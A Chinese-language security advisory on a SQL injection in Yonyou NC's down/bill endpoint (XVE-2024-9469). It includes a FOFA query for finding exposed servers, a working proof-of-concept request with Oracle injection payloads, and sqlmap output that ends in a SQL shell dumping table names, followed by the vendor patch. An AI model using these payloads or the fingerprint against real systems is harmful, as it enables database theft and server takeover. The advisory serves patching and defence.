

用友NC downbill SQL注入漏洞(XVE-2024-9469)

漏洞描述

用友NC //portal/pt/erfile/down/bill接口的id参数存在SQL注入漏洞，攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

影响范围

用友网络科技有限公司-NC version<= 6.5

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: icon_hash="1085941792" && body="/logo/images/logo.gif"

POC/EXP1:

GET /portal/pt/erfile/down/bill?

pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1

Host: 10.0.30.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/70.0.3538.77 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Accept: /

Connection: keep-alive



```
---
Parameter: id (GET)
Type: boolean-based blind
Title: Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
Payload: pageId=login&id=1' AND (SELECT (CASE WHEN (7667=7667) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,7667) END) FROM DUAL) IS NULL-- MKel

Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
Payload: pageId=login&id=1' AND 4149=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(98)||CHR(107)||CHR(118)||CHR(113) FROM DUAL)||CHR(113)||CHR(106)||CHR(98)||CHR(112)||CHR(113))-- oPiL

Type: time-based blind
Title: Oracle OR time-based blind
Payload: pageId=login&id=1' OR 7521=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(72)||CHR(115)||CHR(74),5)-- KiuD
---
[09:41:00] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: JSP, Apache 2.2.22
back-end DBMS: Oracle
[09:41:00] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
sql-shell> SELECT table_name FROM user_tables;
[09:43:58] [INFO] fetching SQL SELECT statement query output: 'SELECT table_name FROM user_tables'
[09:44:03] [INFO] retrieved: 'NC_TABLE'
[09:44:04] [INFO] retrieved: 'ADP_CLEANTRANSLLOGCONFIG'
[09:44:06] [INFO] retrieved: 'ADP_GROUPSATTRIB'
[09:44:07] [INFO] retrieved: 'ADP_LISTENERREG'
[09:44:08] [INFO] retrieved: 'ADP_MESSAGE'
[09:44:09] [INFO] retrieved: 'ADP_PKGLOGINFO'
[09:44:11] [INFO] retrieved: 'ADP_SN'
```

修复方案

官方修复:

用友安全中心已发布官方公告, 请尽快前往下载更新补丁: <https://security.yonyou.com/#/noticeInfo?id=544>

打对应补丁, 重启服务, 各版本补丁获取方式如下:

1.NC65方案

补丁名称: patch_65_portal_downs的sql注入安全漏洞修复

补丁编码: NCM_NC6.5_000_109902_20240428_GP_266284425

校验码:

e2fddcaa75eb3e5d15ca4a72700e55712aca9eaa32ca90ce3b2c85d3b3447958